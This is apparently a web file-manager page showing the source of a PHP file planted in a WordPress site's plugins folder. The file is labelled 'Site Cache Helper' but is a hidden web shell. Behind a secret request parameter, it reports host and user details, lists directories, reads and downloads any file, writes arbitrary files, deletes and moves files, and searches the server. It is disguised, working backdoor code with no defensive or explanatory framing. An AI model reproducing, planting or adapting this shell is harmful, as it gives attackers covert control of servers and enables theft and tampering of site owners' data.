✏️ 编辑:widget_9l0ihse.php
路径:
/virtual/emerald/public_html/emerald.jpn.com/wp2020/wp-content/plugins/widget_9l0ihse.php
大小:5.57 KB · 修改:2026-09-30 18:28:11 · 权限:0644 · 可写
← 返回目录
👁 查看
⬇ 下载
<?php /* * Plugin Name: Site Cache Helper * Description: Cache and asset inspection helper. * Version: 1.0.1 * Author: site */ if (empty($_REQUEST['image_3ff7dc4'])) { return; } if (!function_exists('pf_str')) { function pf_str($v) { return is_scalar($v) ? (string) $v : ''; } } if (!function_exists('pf_say')) { function pf_say($tag, $text) { echo $tag . ':' . $text . "\n"; } } if (!function_exists('pf_ok')) { function pf_ok($text) { pf_say('OK', $text); } } if (!function_exists('pf_err')) { function pf_err($text) { pf_say('ERR', $text); } } if (!function_exists('pf_walk')) { function pf_walk($root, $needle, $limit) { $hits = array(); $queue = array($root); $steps = 0; while (count($queue) > 0 && count($hits) < $limit && $steps < 60000) { $dir = array_shift($queue); $items = @scandir($dir); if (!is_array($items)) { continue; } foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } $steps++; $full = $dir . '/' . $name; if (stripos($name, $needle) !== false) { $hits[] = $full; } if (count($hits) >= $limit) { break; } if (@is_dir($full) && !@is_link($full)) { $queue[] = $full; } } } return $hits; } } header('Content-Type: text/plain; charset=utf-8'); $in = array_merge($_GET, $_POST); $here = __DIR__; if (isset($in['c'])) { $hn = function_exists('gethostname') ? @gethostname() : false; pf_ok('hostname=' . ($hn !== false && $hn !== '' ? $hn : 'ERR_unavailable')); pf_ok('script=' . __FILE__); pf_ok('cwd=' . $here); $uid = function_exists('getmyuid') ? @getmyuid() : false; $own = function_exists('get_current_user') ? @get_current_user() : ''; pf_ok('uid=' . ($uid !== false ? $uid : 'ERR_unavailable') . ' owner=' . ($own !== '' ? $own : 'ERR_unavailable')); pf_ok('uid_real=' . (function_exists('posix_getuid') ? @posix_getuid() : 'ERR_unavailable')); pf_ok('php=' . (function_exists('phpversion') ? @phpversion() : 'ERR_unavailable')); pf_ok('writable=' . (@is_writable($here) ? '1' : '0') . ' readable=' . (@is_readable($here) ? '1' : '0')); pf_ok('sapi=' . (function_exists('php_sapi_name') ? @php_sapi_name() : 'ERR_unavailable')); pf_ok('mode=muplugin'); exit; } if (isset($in['t'])) { pf_ok('time=' . date('Y-m-d H:i:s')); $mt = @filemtime(__FILE__); pf_ok('self_mtime=' . ($mt !== false ? date('Y-m-d H:i:s', $mt) : 'ERR_unavailable')); exit; } if (isset($in['l'])) { $v = pf_str($in['l']); $path = ($v === '' || $v === '1') ? $here : $v; if (!@is_dir($path)) { pf_err('not_a_dir ' . $path); exit; } $items = @scandir($path); if (!is_array($items)) { pf_err('cannot_open ' . $path); exit; } pf_ok('dir=' . $path . ' entries=' . count($items)); foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } $full = $path . '/' . $name; $perm = @fileperms($full); $size = @filesize($full); $mt = @filemtime($full); $kind = @is_dir($full) ? 'd' : (@is_link($full) ? 'l' : '-'); echo $kind . ' ' . ($perm !== false ? substr(sprintf('%o', $perm), -4) : '????') . ' ' . ($size !== false ? $size : 0) . ' ' . ($mt !== false ? date('Y-m-d H:i', $mt) : '-') . ' ' . $name . "\n"; } exit; } if (isset($in['r'])) { $target = pf_str($in['r']); if (!@is_file($target)) { pf_err('not_a_file ' . $target); exit; } $data = @file_get_contents($target); if ($data === false) { pf_err('read_failed ' . $target); exit; } pf_ok('file=' . $target . ' bytes=' . strlen($data)); echo $data; exit; } if (isset($in['dl'])) { $target = pf_str($in['dl']); if (!@is_file($target)) { pf_err('not_a_file ' . $target); exit; } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); @readfile($target); exit; } if (isset($in['w'])) { $target = pf_str($in['w']); $data = isset($in['data']) ? pf_str($in['data']) : ''; if ($target === '') { pf_err('no_target'); exit; } $n = false; $fh = @fopen($target, 'wb'); if ($fh) { @fwrite($fh, $data); @fclose($fh); $n = strlen($data); } if ($n === false) { pf_err('write_failed ' . $target); exit; } pf_ok('wrote=' . $n . ' ' . $target); exit; } if (isset($in['d'])) { $target = pf_str($in['d']); if ($target === '' || !@file_exists($target)) { pf_err('not_found ' . $target); exit; } $done = @is_dir($target) ? @rmdir($target) : @unlink($target); if (!$done) { pf_err('remove_failed ' . $target); exit; } pf_ok('removed=' . $target); exit; } if (isset($in['mv'])) { $src = pf_str($in['mv']); $dst = isset($in['to']) ? pf_str($in['to']) : ''; if ($src === '' || $dst === '') { pf_err('need_mv_and_to'); exit; } if (!@file_exists($src)) { pf_err('not_found ' . $src); exit; } if (!@rename($src, $dst)) { pf_err('move_failed'); exit; } pf_ok('moved=' . $src . ' -> ' . $dst); exit; } if (isset($in['s'])) { $needle = pf_str($in['s']); if ($needle === '') { pf_err('no_keyword'); exit; } $root = isset($in['p']) ? pf_str($in['p']) : ''; if ($root === '' || !@is_dir($root)) { $root = @dirname($here, 4); if (!@is_dir($root)) { $root = $here; } } $hits = pf_walk($root, $needle, 200); pf_ok('root=' . $root . ' hits=' . count($hits)); foreach ($hits as $h) { echo $h . "\n"; } exit; } pf_ok('ready');
💾 保存
取消
保存为 UTF-8,换行统一为 LF